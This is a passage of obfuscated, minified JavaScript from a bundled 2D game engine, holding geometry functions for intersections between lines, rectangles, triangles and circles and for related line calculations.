_0x307f5f = _0x13be98(0x85d), _0x3590f4 = _0x13be98(0x12950), _0x44d24a = _0x13be98(0x16a65); _0x5ead20['exports'] = function (_0x5b3a1e, _0x17995e, _0x1a3ca0) { if (void 0x0 === _0x1a3ca0 && (_0x1a3ca0 = []), _0x44d24a(_0x5b3a1e, _0x17995e)) { for (var _0x1754f9 = _0x17995e['getLineA'](), _0x3b9431 = _0x17995e['getLineB'](), _0x4ca37c = _0x17995e['getLineC'](), _0x102661 = _0x17995e['getLineD'](), _0x3825b0 = [new _0x307f5f(), new _0x307f5f(), new _0x307f5f(), new _0x307f5f()], _0x3b4f52 = [_0x3590f4(_0x1754f9, _0x5b3a1e, _0x3825b0[0x0]), _0x3590f4(_0x3b9431, _0x5b3a1e, _0x3825b0[0x1]), _0x3590f4(_0x4ca37c, _0x5b3a1e, _0x3825b0[0x2]), _0x3590f4(_0x102661, _0x5b3a1e, _0x3825b0[0x3])], _0x5e03c3 = 0x0; _0x5e03c3 < 0x4; _0x5e03c3++)_0x3b4f52[_0x5e03c3] && _0x1a3ca0['push'](_0x3825b0[_0x5e03c3]); } return _0x1a3ca0; }; }, 0x115eb: (_0x297f7e, _0x382cbe, _0x4e8585) => { var _0x5953ca = _0x4e8585(0xefb9), _0x435ed0 = _0x4e8585(0xdc2a), _0x1b0f7a = new (_0x4e8585(0x59f7))(); function _0x4cc709(_0x3f00d4, _0x10ab1f, _0x321c37, _0x49c637, _0x5c6a0b) { var _0x424131 = Math['cos'](_0x3f00d4), _0x548541 = Math['sin'](_0x3f00d4); _0x1b0f7a['setTo'](_0x10ab1f, _0x321c37, _0x10ab1f + _0x424131, _0x321c37 + _0x548541); var _0x50a831 = _0x435ed0(_0x1b0f7a, _0x49c637, !0x0); _0x50a831 && _0x5c6a0b['push'](new _0x5953ca(_0x50a831['x'], _0x50a831['y'], _0x3f00d4, _0x50a831['w'])); } function _0x4e4196(_0x1ee59c, _0x4e4993) { return _0x1ee59c['z'] - _0x4e4993['z']; } _0x297f7e['exports'] = function (_0x5bb574, _0x12f252, _0x36155f) { Array['isArray'](_0x36155f) || (_0x36155f = [_0x36155f]); for (var _0xec74ce = [], _0x25ae65 = [], _0x324206 = 0x0; _0x324206 < _0x36155f['length']; _0x324206++)for (var _0x1f0f80 = _0x36155f[_0x324206]['points'], _0x2d8703 = 0x0; _0x2d8703 < _0x1f0f80['length']; _0x2d8703++) { var _0x5a5487 = Math['atan2'](_0x1f0f80[_0x2d8703]['y'] - _0x12f252, _0x1f0f80[_0x2d8703]['x'] - _0x5bb574); -0x1 === _0x25ae65['indexOf'](_0x5a5487) && (_0x4cc709(_0x5a5487, _0x5bb574, _0x12f252, _0x36155f, _0xec74ce), _0x4cc709(_0x5a5487 - 0.00001, _0x5bb574, _0x12f252, _0x36155f, _0xec74ce), _0x4cc709(_0x5a5487 + 0.00001, _0x5bb574, _0x12f252, _0x36155f, _0xec74ce), _0x25ae65['push'](_0x5a5487)); } return _0xec74ce['sort'](_0x4e4196); }; }, 0x10b25: (_0xff326, _0x13d1a0, _0x3201ad) => { var _0x4ac9dd = _0x3201ad(0x15721), _0xa1e043 = _0x3201ad(0xea5c); _0xff326['exports'] = function (_0xe248a, _0x5440e5, _0xbb9873) { return void 0x0 === _0xbb9873 && (_0xbb9873 = new _0x4ac9dd()), _0xa1e043(_0xe248a, _0x5440e5) && (_0xbb9873['x'] = Math['max'](_0xe248a['x'], _0x5440e5['x']), _0xbb9873['y'] = Math['max'](_0xe248a['y'], _0x5440e5['y']), _0xbb9873['width'] = Math['min'](_0xe248a['right'], _0x5440e5['right']) - _0xbb9873['x'], _0xbb9873['height'] = Math['min'](_0xe248a['bottom'], _0x5440e5['bottom']) - _0xbb9873['y']), _0xbb9873; }; }, 0xce30: (_0x4a30cc, _0x56c8a0, _0x4114d3) => { var _0x21f193 = _0x4114d3(0xece6), _0x3ec881 = _0x4114d3(0xea5c); _0x4a30cc['exports'] = function (_0x171fb1, _0x27b147, _0x5d8338) { if (void 0x0 === _0x5d8338 && (_0x5d8338 = []), _0x3ec881(_0x171fb1, _0x27b147)) { var _0x5cf469 = _0x171fb1['getLineA'](), _0x1421d0 = _0x171fb1['getLineB'](), _0x360c3a = _0x171fb1['getLineC'](), _0x48b0c9 = _0x171fb1['getLineD'](); _0x21f193(_0x5cf469, _0x27b147, _0x5d8338), _0x21f193(_0x1421d0, _0x27b147, _0x5d8338), _0x21f193(_0x360c3a, _0x27b147, _0x5d8338), _0x21f193(_0x48b0c9, _0x27b147, _0x5d8338); } return _0x5d8338; }; }, 0x66e5: (_0x15792c, _0x49ee7e, _0x461818) => { var _0x5644cd = _0x461818(0x15cb1), _0x3a7ea8 = _0x461818(0xece6); _0x15792c['exports'] = function (_0x2e4e89, _0x3de53a, _0x5d4852) { if (void 0x0 === _0x5d4852 && (_0x5d4852 = []), _0x5644cd(_0x2e4e89, _0x3de53a)) { var _0x6222d = _0x3de53a['getLineA'](), _0x210267 = _0x3de53a['getLineB'](), _0xf04eaa = _0x3de53a['getLineC'](); _0x3a7ea8(_0x6222d, _0x2e4e89, _0x5d4852), _0x3a7ea8(_0x210267, _0x2e4e89, _0x5d4852), _0x3a7ea8(_0xf04eaa, _0x2e4e89, _0x5d4852); } return _0x5d4852; }; }, 0x9740: (_0x8cc8d3, _0x434fff, _0x95e177) => { var _0x5c9241 = _0x95e177(0xfca), _0x3a0bf5 = _0x95e177(0x10834); _0x8cc8d3['exports'] = function (_0x57e13e, _0x5cce3e, _0x835e91) { if (void 0x0 === _0x835e91 && (_0x835e91 = []), _0x3a0bf5(_0x57e13e, _0x5cce3e)) { var _0x555ac2 = _0x57e13e['getLineA'](), _0x423809 = _0x57e13e['getLineB'](), _0x18abd1 = _0x57e13e['getLineC'](); _0x5c9241(_0x555ac2, _0x5cce3e, _0x835e91), _0x5c9241(_0x423809, _0x5cce3e, _0x835e91), _0x5c9241(_0x18abd1, _0x5cce3e, _0x835e91); } return _0x835e91; }; }, 0x363a: (_0x36ec9e, _0x8f95c7, _0x3014e5) => { var _0x37e381 = _0x3014e5(0x85d), _0x32d8a7 = _0x3014e5(0xb06), _0x2ecaba = _0x3014e5(0x12950); _0x36ec9e['exports'] = function (_0x32e2c9, _0x2407a4, _0x30c10c) { if (void 0x0 === _0x30c10c && (_0x30c10c = []), _0x32d8a7(_0x32e2c9, _0x2407a4)) { for (var _0x5550bf = _0x32e2c9['getLineA'](), _0x1cd092 = _0x32e2c9['getLineB'](), _0x991b63 = _0x32e2c9['getLineC'](), _0x1291b2 = [new _0x37e381(), new _0x37e381(), new _0x37e381()], _0x1f2baf = [_0x2ecaba(_0x5550bf, _0x2407a4, _0x1291b2[0x0]), _0x2ecaba(_0x1cd092, _0x2407a4, _0x1291b2[0x1]), _0x2ecaba(_0x991b63, _0x2407a4, _0x1291b2[0x2])], _0x43bdcf = 0x0; _0x43bdcf < 0x3; _0x43bdcf++)_0x1f2baf[_0x43bdcf] && _0x30c10c['push'](_0x1291b2[_0x43bdcf]); } return _0x30c10c; }; }, 0x12774: (_0x4402d6, _0x46ea88, _0x38ca43) => { var _0x2fb2f1 = _0x38ca43(0x14400), _0x40a1de = _0x38ca43(0x363a); _0x4402d6['exports'] = function (_0x50ebe7, _0x506994, _0x187e33) { if (void 0x0 === _0x187e33 && (_0x187e33 = []), _0x2fb2f1(_0x50ebe7, _0x506994)) { var _0x1bb255 = _0x506994['getLineA'](), _0xeb0c6a = _0x506994['getLineB'](), _0x3ecfde = _0x506994['getLineC'](); _0x40a1de(_0x50ebe7, _0x1bb255, _0x187e33), _0x40a1de(_0x50ebe7, _0xeb0c6a, _0x187e33), _0x40a1de(_0x50ebe7, _0x3ecfde, _0x187e33); } return _0x187e33; }; }, 0x13a4e: (_0x1a81b5, _0x781387, _0x5c8d26) => { var _0x4acebd = _0x5c8d26(0x1575e), _0x1efcb3 = new (_0x5c8d26(0x85d))(); _0x1a81b5['exports'] = function (_0x29b850, _0x58455d, _0x311fa2) { if (void 0x0 === _0x311fa2 && (_0x311fa2 = _0x1efcb3), _0x4acebd(_0x58455d, _0x29b850['x1'], _0x29b850['y1'])) return _0x311fa2['x'] = _0x29b850['x1'], _0x311fa2['y'] = _0x29b850['y1'], !0x0; if (_0x4acebd(_0x58455d, _0x29b850['x2'], _0x29b850['y2'])) return _0x311fa2['x'] = _0x29b850['x2'], _0x311fa2['y'] = _0x29b850['y2'], !0x0; var _0x4591de = _0x29b850['x2'] - _0x29b850['x1'], _0x4ff0d7 = _0x29b850['y2'] - _0x29b850['y1'], _0x59ad2c = _0x58455d['x'] - _0x29b850['x1'], _0x80264a = _0x58455d['y'] - _0x29b850['y1'], _0x2e98e9 = _0x4591de * _0x4591de + _0x4ff0d7 * _0x4ff0d7, _0x171dce = _0x4591de, _0x4da302 = _0x4ff0d7; if (_0x2e98e9 > 0x0) { var _0x113f84 = (_0x59ad2c * _0x4591de + _0x80264a * _0x4ff0d7) / _0x2e98e9; _0x171dce *= _0x113f84, _0x4da302 *= _0x113f84; } return _0x311fa2['x'] = _0x29b850['x1'] + _0x171dce, _0x311fa2['y'] = _0x29b850['y1'] + _0x4da302, _0x171dce * _0x171dce + _0x4da302 * _0x4da302 <= _0x2e98e9 && _0x171dce * _0x4591de + _0x4da302 * _0x4ff0d7 >= 0x0 && _0x4acebd(_0x58455d, _0x311fa2['x'], _0x311fa2['y']); }; }, 0x12950: _0x1d8986 => { _0x1d8986['exports'] = function (_0x532c68, _0x378925, _0x2afff8) { var _0x23c0de = _0x532c68['x1'], _0x248875 = _0x532c68['y1'], _0x565dea = _0x532c68['x2'], _0x4b9f1f = _0x532c68['y2'], _0x40d78e = _0x378925['x1'], _0x1e16eb = _0x378925['y1'], _0x2cce4c = _0x378925['x2'], _0x44044b = _0x378925['y2']; if (_0x23c0de === _0x565dea && _0x248875 === _0x4b9f1f || _0x40d78e === _0x2cce4c && _0x1e16eb === _0x44044b) return !0x1; var _0x5074a0 = (_0x44044b - _0x1e16eb) * (_0x565dea - _0x23c0de) - (_0x2cce4c - _0x40d78e) * (_0x4b9f1f - _0x248875); if (0x0 === _0x5074a0) return !0x1; var _0x53e8fa = ((_0x2cce4c - _0x40d78e) * (_0x248875 - _0x1e16eb) - (_0x44044b - _0x1e16eb) * (_0x23c0de - _0x40d78e)) / _0x5074a0, _0x5c9bc5 = ((_0x565dea - _0x23c0de) * (_0x248875 - _0x1e16eb) - (_0x4b9f1f - _0x248875) * (_0x23c0de - _0x40d78e)) / _0x5074a0; return !(_0x53e8fa < 0x0 || _0x53e8fa > 0x1 || _0x5c9bc5 < 0x0 || _0x5c9bc5 > 0x1 || (_0x2afff8 && (_0x2afff8['x'] = _0x23c0de + _0x53e8fa * (_0x565dea - _0x23c0de), _0x2afff8['y'] = _0x248875 + _0x53e8fa * (_0x4b9f1f - _0x248875)), 0x0)); }; }, 0x16a65: _0xec393b => { _0xec393b['exports'] = function (_0x117c13, _0x1e7199) { var _0x200401 = _0x117c13['x1'], _0x263920 = _0x117c13['y1'], _0x3a97ef = _0x117c13['x2'], _0x259ed = _0x117c13['y2'], _0x2cd50f = _0x1e7199['x'], _0x3df911 = _0x1e7199['y'], _0x58658b = _0x1e7199['right'], _0xe37058 = _0x1e7199['bottom'], _0x4a10e2 = 0x0; if (_0x200401 >= _0x2cd50f && _0x200401 <= _0x58658b && _0x263920 >= _0x3df911 && _0x263920 <= _0xe37058 || _0x3a97ef >= _0x2cd50f && _0x3a97ef <= _0x58658b && _0x259ed >= _0x3df911 && _0x259ed <= _0xe37058) return !0x0; if (_0x200401 < _0x2cd50f && _0x3a97ef >= _0x2cd50f) { if ((_0x4a10e2 = _0x263920 + (_0x259ed - _0x263920) * (_0x2cd50f - _0x200401) / (_0x3a97ef - _0x200401)) > _0x3df911 && _0x4a10e2 <= _0xe37058) return !0x0; } else { if (_0x200401 > _0x58658b && _0x3a97ef <= _0x58658b && (_0x4a10e2 = _0x263920 + (_0x259ed - _0x263920) * (_0x58658b - _0x200401) / (_0x3a97ef - _0x200401)) >= _0x3df911 && _0x4a10e2 <= _0xe37058) return !0x0; } if (_0x263920 < _0x3df911 && _0x259ed >= _0x3df911) { if ((_0x4a10e2 = _0x200401 + (_0x3a97ef - _0x200401) * (_0x3df911 - _0x263920) / (_0x259ed - _0x263920)) >= _0x2cd50f && _0x4a10e2 <= _0x58658b) return !0x0; } else { if (_0x263920 > _0xe37058 && _0x259ed <= _0xe37058 && (_0x4a10e2 = _0x200401 + (_0x3a97ef - _0x200401) * (_0xe37058 - _0x263920) / (_0x259ed - _0x263920)) >= _0x2cd50f && _0x4a10e2 <= _0x58658b) return !0x0; } return !0x1; }; }, 0x3f4c: _0x514b14 => { _0x514b14['exports'] = function (_0xe41f44, _0x2b146c, _0x55940d) { void 0x0 === _0x55940d && (_0x55940d = 0x1); var _0x2073bf = _0x2b146c['x1'], _0x494e24 = _0x2b146c['y1'], _0x2ce900 = _0x2b146c['x2'], _0x1d4ec1 = _0x2b146c['y2'], _0x71b2a6 = _0xe41f44['x'], _0x119195 = _0xe41f44['y'], _0x1b1960 = (_0x2ce900 - _0x2073bf) * (_0x2ce900 - _0x2073bf) + (_0x1d4ec1 - _0x494e24) * (_0x1d4ec1 - _0x494e24); if (0x0 === _0x1b1960) return !0x1; var _0x185321 = ((_0x71b2a6 - _0x2073bf) * (_0x2ce900 - _0x2073bf) + (_0x119195 - _0x494e24) * (_0x1d4ec1 - _0x494e24)) / _0x1b1960; if (_0x185321 < 0x0) return Math['sqrt']((_0x2073bf - _0x71b2a6) * (_0x2073bf - _0x71b2a6) + (_0x494e24 - _0x119195) * (_0x494e24 - _0x119195)) <= _0x55940d; if (_0x185321 >= 0x0 && _0x185321 <= 0x1) { var _0x743499 = ((_0x494e24 - _0x119195) * (_0x2ce900 - _0x2073bf) - (_0x2073bf - _0x71b2a6) * (_0x1d4ec1 - _0x494e24)) / _0x1b1960; return Math['abs'](_0x743499) * Math['sqrt'](_0x1b1960) <= _0x55940d; } return Math['sqrt']((_0x2ce900 - _0x71b2a6) * (_0x2ce900 - _0x71b2a6) + (_0x1d4ec1 - _0x119195) * (_0x1d4ec1 - _0x119195)) <= _0x55940d; }; }, 0x3777: (_0x30495d, _0x119ab3, _0x19794a) => { var _0x2a767d = _0x19794a(0x3f4c); _0x30495d['exports'] = function (_0x1f1a76, _0x2d513f) { if (!_0x2a767d(_0x1f1a76, _0x2d513f)) return !0x1; var _0x2f40a6 = Math['min'](_0x2d513f['x1'], _0x2d513f['x2']), _0x3f025c = Math['max'](_0x2d513f['x1'], _0x2d513f['x2']), _0x515350 = Math['min'](_0x2d513f['y1'], _0x2d513f['y2']), _0x5863ea = Math['max'](_0x2d513f['y1'], _0x2d513f['y2']); return _0x1f1a76['x'] >= _0x2f40a6 && _0x1f1a76['x'] <= _0x3f025c && _0x1f1a76['y'] >= _0x515350 && _0x1f1a76['y'] <= _0x5863ea; }; }, 0xea5c: _0x272e35 => { _0x272e35['exports'] = function (_0x16a483, _0x167a3b) { return !(_0x16a483['width'] <= 0x0 || _0x16a483['height'] <= 0x0 || _0x167a3b['width'] <= 0x0 || _0x167a3b['height'] <= 0x0 || _0x16a483['right'] < _0x167a3b['x'] || _0x16a483['bottom'] < _0x167a3b['y'] || _0x16a483['x'] > _0x167a3b['right'] || _0x16a483['y'] > _0x167a3b['bottom']); }; }, 0x15cb1: (_0x1e0dcc, _0x147e3d, _0x3f474f) => { var _0x4d914b = _0x3f474f(0x12950), _0x4dc478 = _0x3f474f(0x91b7), _0x35c722 = _0x3f474f(0xbe0d), _0x24c4c4 = _0x3f474f(0x12eb5); _0x1e0dcc['exports'] = function (_0x58e5cf, _0x177c0f) { if (_0x177c0f['left'] > _0x58e5cf['right'] || _0x177c0f['right'] < _0x58e5cf['left'] || _0x177c0f['top'] > _0x58e5cf['bottom'] || _0x177c0f['bottom'] < _0x58e5cf['top']) return !0x1; var _0x2e483d = _0x177c0f['getLineA'](), _0x2b746f = _0x177c0f['getLineB'](), _0x293cba = _0x177c0f['getLineC'](); if (_0x4dc478(_0x58e5cf, _0x2e483d['x1'], _0x2e483d['y1']) || _0x4dc478(_0x58e5cf, _0x2e483d['x2'], _0x2e483d['y2'])) return !0x0; if (_0x4dc478(_0x58e5cf, _0x2b746f['x1'], _0x2b746f['y1']) || _0x4dc478(_0x58e5cf, _0x2b746f['x2'], _0x2b746f['y2'])) return !0x0; if (_0x4dc478(_0x58e5cf, _0x293cba['x1'], _0x293cba['y1']) || _0x4dc478(_0x58e5cf, _0x293cba['x2'], _0x293cba['y2'])) return !0x0; var _0x5ed76c = _0x58e5cf['getLineA'](), _0x46f20 = _0x58e5cf['getLineB'](), _0x2990f9 = _0x58e5cf['getLineC'](), _0x450c5e = _0x58e5cf['getLineD'](); if (_0x4d914b(_0x2e483d, _0x5ed76c) || _0x4d914b(_0x2e483d, _0x46f20) || _0x4d914b(_0x2e483d, _0x2990f9) || _0x4d914b(_0x2e483d, _0x450c5e)) return !0x0; if (_0x4d914b(_0x2b746f, _0x5ed76c) || _0x4d914b(_0x2b746f, _0x46f20) || _0x4d914b(_0x2b746f, _0x2990f9) || _0x4d914b(_0x2b746f, _0x450c5e)) return !0x0; if (_0x4d914b(_0x293cba, _0x5ed76c) || _0x4d914b(_0x293cba, _0x46f20) || _0x4d914b(_0x293cba, _0x2990f9) || _0x4d914b(_0x293cba, _0x450c5e)) return !0x0; var _0x18a590 = _0x24c4c4(_0x58e5cf); return _0x35c722(_0x177c0f, _0x18a590, !0x0)['length'] > 0x0; }; }, 0x149bb: _0x465e78 => { _0x465e78['exports'] = function (_0x1dbdd6, _0x46e2fc, _0x48de82, _0x463c9f, _0x4f0594, _0x50fda4) { return void 0x0 === _0x50fda4 && (_0x50fda4 = 0x0), !(_0x46e2fc > _0x1dbdd6['right'] + _0x50fda4 || _0x48de82 < _0x1dbdd6['left'] - _0x50fda4 || _0x463c9f > _0x1dbdd6['bottom'] + _0x50fda4 || _0x4f0594 < _0x1dbdd6['top'] - _0x50fda4); }; }, 0x10834: (_0x405880, _0x428e20, _0x5923c2) => { var _0x44978c = _0x5923c2(0x13a4e), _0x1c864f = _0x5923c2(0x29c2); _0x405880['exports'] = function (_0x11ce3f, _0x349bcb) { return !(_0x11ce3f['left'] > _0x349bcb['right'] || _0x11ce3f['right'] < _0x349bcb['left'] || _0x11ce3f['top'] > _0x349bcb['bottom'] || _0x11ce3f['bottom'] < _0x349bcb['top'] || !_0x1c864f(_0x11ce3f, _0x349bcb['x'], _0x349bcb['y']) && !_0x44978c(_0x11ce3f['getLineA'](), _0x349bcb) && !_0x44978c(_0x11ce3f['getLineB'](), _0x349bcb) && !_0x44978c(_0x11ce3f['getLineC'](), _0x349bcb)); }; }, 0xb06: (_0x1c27ac, _0x353091, _0x3f5a02) => { var _0x37688c = _0x3f5a02(0x12950); _0x1c27ac['exports'] = function (_0x2eb945, _0x5aa3d4) { return !!(_0x2eb945['contains'](_0x5aa3d4['x1'], _0x5aa3d4['y1']) || _0x2eb945['contains'](_0x5aa3d4['x2'], _0x5aa3d4['y2']) || _0x37688c(_0x2eb945['getLineA'](), _0x5aa3d4) || _0x37688c(_0x2eb945['getLineB'](), _0x5aa3d4) || _0x37688c(_0x2eb945['getLineC'](), _0x5aa3d4)); }; }, 0x14400: (_0x3787e5, _0xce9139, _0x5d000c) => { var _0x555312 = _0x5d000c(0xbe0d), _0x5918d8 = _0x5d000c(0x1180e), _0x44f06f = _0x5d000c(0x12950); _0x3787e5['exports'] = function (_0x1c57c1, _0x3422fc) { if (_0x1c57c1['left'] > _0x3422fc['right'] || _0x1c57c1['right'] < _0x3422fc['left'] || _0x1c57c1['top'] > _0x3422fc['bottom'] || _0x1c57c1['bottom'] < _0x3422fc['top']) return !0x1; var _0x127733 = _0x1c57c1['getLineA'](), _0x48e75c = _0x1c57c1['getLineB'](), _0x4ad198 = _0x1c57c1['getLineC'](), _0x5b2e72 = _0x3422fc['getLineA'](), _0x28d11d = _0x3422fc['getLineB'](), _0x2cfbd6 = _0x3422fc['getLineC'](); if (_0x44f06f(_0x127733, _0x5b2e72) || _0x44f06f(_0x127733, _0x28d11d) || _0x44f06f(_0x127733, _0x2cfbd6)) return !0x0; if (_0x44f06f(_0x48e75c, _0x5b2e72) || _0x44f06f(_0x48e75c, _0x28d11d) || _0x44f06f(_0x48e75c, _0x2cfbd6)) return !0x0; if (_0x44f06f(_0x4ad198, _0x5b2e72) || _0x44f06f(_0x4ad198, _0x28d11d) || _0x44f06f(_0x4ad198, _0x2cfbd6)) return !0x0; var _0x13cbb1 = _0x5918d8(_0x1c57c1), _0x565744 = _0x555312(_0x3422fc, _0x13cbb1, !0x0); return _0x565744['length'] > 0x0 || (_0x13cbb1 = _0x5918d8(_0x3422fc), (_0x565744 = _0x555312(_0x1c57c1, _0x13cbb1, !0x0))['length'] > 0x0); }; }, 0x166d9: (_0xaa7b3f, _0x16efc6, _0x5a0079) => { _0xaa7b3f['exports'] = { 'CircleToCircle': _0x5a0079(0x7fc), 'CircleToRectangle': _0x5a0079(0x13e53), 'GetCircleToCircle': _0x5a0079(0xf790), 'GetCircleToRectangle': _0x5a0079(0x17c9f), 'GetLineToCircle': _0x5a0079(0xfca), 'GetLineToLine': _0x5a0079(0x8d04), 'GetLineToPoints': _0x5a0079(0xc01), 'GetLineToPolygon': _0x5a0079(0xdc2a), 'GetLineToRectangle': _0x5a0079(0xece6), 'GetRaysFromPointToPolygon': _0x5a0079(0x115eb), 'GetRectangleIntersection': _0x5a0079(0x10b25), 'GetRectangleToRectangle': _0x5a0079(0xce30), 'GetRectangleToTriangle': _0x5a0079(0x66e5), 'GetTriangleToCircle': _0x5a0079(0x9740), 'GetTriangleToLine': _0x5a0079(0x363a), 'GetTriangleToTriangle': _0x5a0079(0x12774), 'LineToCircle': _0x5a0079(0x13a4e), 'LineToLine': _0x5a0079(0x12950), 'LineToRectangle': _0x5a0079(0x16a65), 'PointToLine': _0x5a0079(0x3f4c), 'PointToLineSegment': _0x5a0079(0x3777), 'RectangleToRectangle': _0x5a0079(0xea5c), 'RectangleToTriangle': _0x5a0079(0x15cb1), 'RectangleToValues': _0x5a0079(0x149bb), 'TriangleToCircle': _0x5a0079(0x10834), 'TriangleToLine': _0x5a0079(0xb06), 'TriangleToTriangle': _0x5a0079(0x14400) }; }, 0x16722: _0x225038 => { _0x225038['exports'] = function (_0x179723) { return Math['atan2'](_0x179723['y2'] - _0x179723['y1'], _0x179723['x2'] - _0x179723['x1']); }; }, 0x14c01: _0x11869e => { _0x11869e['exports'] = function (_0x1c588b, _0x3f25ad, _0x2c2316) { void 0x0 === _0x3f25ad && (_0x3f25ad = 0x1), void 0x0 === _0x2c2316 && (_0x2c2316 = []); var _0x521627 = Math['round'](_0x1c588b['x1']), _0x166dc3 = Math['round'](_0x1c588b['y1']), _0x9123fa = Math['round'](_0x1c588b['x2']), _0x1e264b = Math['round'](_0x1c588b['y2']), _0x30ceb0 = Math['abs'](_0x9123fa - _0x521627), _0x117d28 = Math['abs'](_0x1e264b - _0x166dc3), _0x2c767e = _0x521627 < _0x9123fa ? 0x1 : -0x1, _0x5335ec = _0x166dc3 < _0x1e264b ? 0x1 : -0x1, _0x12eaba = _0x30ceb0 - _0x117d28; _0x2c2316['push']({ 'x': _0x521627, 'y': _0x166dc3 }); for (var _0x44b01f = 0x1; _0x521627 !== _0x9123fa || _0x166dc3 !== _0x1e264b;) { var _0x3c6c74 = _0x12eaba << 0x1; _0x3c6c74 > -_0x117d28 && (_0x12eaba -= _0x117d28, _0x521627 += _0x2c767e), _0x3c6c74 < _0x30ceb0 && (_0x12eaba += _0x30ceb0, _0x166dc3 += _0x5335ec), _0x44b01f % _0x3f25ad == 0x0 && _0x2c2316['push']({ 'x': _0x521627, 'y': _0x166dc3 }), _0x44b01f++; } return _0x2c2316; }; }, 0x8e75: _0x3df3ca => { _0x3df3ca['exports'] = function (_0x3bd895, _0x4b5df3, _0x2d7cf9) { var _0x88b135 = _0x4b5df3 - (_0x3bd895['x1'] + _0x3bd895['x2']) / 0x2, _0x36b25d = _0x2d7cf9 - (_0x3bd895['y1'] + _0x3bd895['y2']) / 0x2; return _0x3bd895['x1'] += _0x88b135, _0x3bd895['y1'] += _0x36b25d, _0x3bd895['x2'] += _0x88b135, _0x3bd895['y2'] += _0x36b25d, _0x3bd895; }; }, 0x798c: (_0x479861, _0x44968d, _0x320e4f) => { var _0x386980 = _0x320e4f(0x59f7); _0x479861['exports'] = function (_0x578433) { return new _0x386980(_0x578433['x1'], _0x578433['y1'], _0x578433['x2'], _0x578433['y2']); }; }, 0xea28: _0x196ab3 => { _0x196ab3['exports'] = function (_0x42c878, _0x1962c7) { return _0x1962c7['setTo'](_0x42c878['x1'], _0x42c878['y1'], _0x42c878['x2'], _0x42c878['y2']); }; }, 0xe754: _0x254ce2 => { _0x254ce2['exports'] = function (_0x4a95e5, _0x181c5a) { return _0x4a95e5['x1'] === _0x181c5a['x1'] && _0x4a95e5['y1'] === _0x181c5a['y1'] && _0x4a95e5['x2'] === _0x181c5a['x2'] && _0x4a95e5['y2'] === _0x181c5a['y2']; }; }, 0x13161: (_0x3beabb, _0x22e688, _0x3ed8a9) => { var _0x4a3b1a = _0x3ed8a9(0x88b9); _0x3beabb['exports'] = function (_0x3a0d0f, _0x4b23e4, _0x3ed05e) { void 0x0 === _0x3ed05e && (_0x3ed05e = _0x4b23e4); var _0x2ce5bb = _0x4a3b1a(_0x3a0d0f), _0x541f08 = _0x3a0d0f['x2'] - _0x3a0d0f['x1'], _0x2bf7da = _0x3a0d0f['y2'] - _0x3a0d0f['y1']; return _0x4b23e4 && (_0x3a0d0f['x1'] = _0x3a0d0f['x1'] - _0x541f08 / _0x2ce5bb * _0x4b23e4, _0x3a0d0f['y1'] = _0x3a0d0f['y1'] - _0x2bf7da / _0x2ce5bb * _0x4b23e4), _0x3ed05e && (_0x3a0d0f['x2'] = _0x3a0d0f['x2'] + _0x541f08 / _0x2ce5bb * _0x3ed05e, _0x3a0d0f['y2'] = _0x3a0d0f['y2'] + _0x2bf7da / _0x2ce5bb * _0x3ed05e), _0x3a0d0f; }; }, 0x6854: (_0xd706c1, _0x344f93, _0x56d2f0) => { var _0x5db840 = _0x56d2f0(0xce50), _0x20a6c6 = _0x56d2f0(0x17e1), _0x50ff78 = _0x56d2f0(0x85d); _0xd706c1['exports'] = function (_0x50a4ea, _0x165081, _0x102d77, _0x33ffec, _0xdf7ff3) { void 0x0 === _0x33ffec && (_0x33ffec = 0x0), void 0x0 === _0xdf7ff3 && (_0xdf7ff3 = []); var _0x24afe1, _0x919b2a, _0x3940bb = [], _0x423241 = _0x50a4ea['x1'], _0x48dc9e = _0x50a4ea['y1'], _0x58e6bb = _0x50a4ea['x2'] - _0x423241, _0x55e121 = _0x50a4ea['y2'] - _0x48dc9e, _0x1e8ed0 = _0x20a6c6(_0x165081, _0xdf7ff3), _0x570a14 = _0x102d77 - 0x1; for (_0x24afe1 = 0x0; _0x24afe1 < _0x570a14; _0x24afe1++)_0x919b2a = _0x1e8ed0(_0x24afe1 / _0x570a14), _0x3940bb['push'](new _0x50ff78(_0x423241 + _0x58e6bb * _0x919b2a, _0x48dc9e + _0x55e121 * _0x919b2a)); if (_0x919b2a = _0x1e8ed0(0x1), _0x3940bb['push'](new _0x50ff78(_0x423241 + _0x58e6bb * _0x919b2a, _0x48dc9e + _0x55e121 * _0x919b2a)), _0x33ffec > 0x0) { var _0x333662 = _0x3940bb[0x0], _0x746e80 = [_0x333662]; for (_0x24afe1 = 0x1; _0x24afe1 < _0x3940bb['length'] - 0x1; _0x24afe1++) { var _0x569dbb = _0x3940bb[_0x24afe1]; _0x5db840(_0x333662, _0x569dbb) >= _0x33ffec && (_0x746e80['push'](_0x569dbb), _0x333662 = _0x569dbb); } var _0x33dd70 = _0x3940bb[_0x3940bb['length'] - 0x1]; return _0x5db840(_0x333662, _0x33dd70) < _0x33ffec && _0x746e80['pop'](), _0x746e80['push'](_0x33dd70), _0x746e80; } return _0x3940bb; }; }, 0x7d7d: (_0x1bc41c, _0xcb5614, _0x338fa5) => { var _0x5cbc8f = _0x338fa5(0x85d); _0x1bc41c['exports'] = function (_0x336e5a, _0x353aa9) { return void 0x0 === _0x353aa9 && (_0x353aa9 = new _0x5cbc8f()), _0x353aa9['x'] = (_0x336e5a['x1'] + _0x336e5a['x2']) / 0x2, _0x353aa9['y'] = (_0x336e5a['y1'] + _0x336e5a['y2']) / 0x2, _0x353aa9; }; }, 0x184f1: (_0x45dc75, _0x4557f2, _0xc6671d) => { var _0x539864 = _0xc6671d(0x85d); _0x45dc75['exports'] = function (_0x56debe, _0x46af0f, _0x1e2f48) { void 0x0 === _0x1e2f48 && (_0x1e2f48 = new _0x539864()); var _0xc7424f = _0x56debe['x1'], _0xa3f854 = _0x56debe['y1'], _0x4da000 = _0x56debe['x2'], _0x7e8367 = _0x56debe['y2'], _0x3ce8fa = (_0x4da000 - _0xc7424f) * (_0x4da000 - _0xc7424f) + (_0x7e8367 - _0xa3f854) * (_0x7e8367 - _0xa3f854); if (0x0 === _0x3ce8fa) return _0x1e2f48; var _0x39e4b6 = ((_0x46af0f['x'] - _0xc7424f) * (_0x4da000 - _0xc7424f) + (_0x46af0f['y'] - _0xa3f854) * (_0x7e8367 - _0xa3f854)) / _0x3ce8fa; return _0x1e2f48['x'] = _0xc7424f + _0x39e4b6 * (_0x4da000 - _0xc7424f), _0x1e2f48['y'] = _0xa3f854 + _0x39e4b6 * (_0x7e8367 - _0xa3f854), _0x1e2f48; }; }, 0x874e: (_0x457767, _0x5d5304, _0x5c5560) => { var _0x117fe0 = _0x5c5560(0x8e1f), 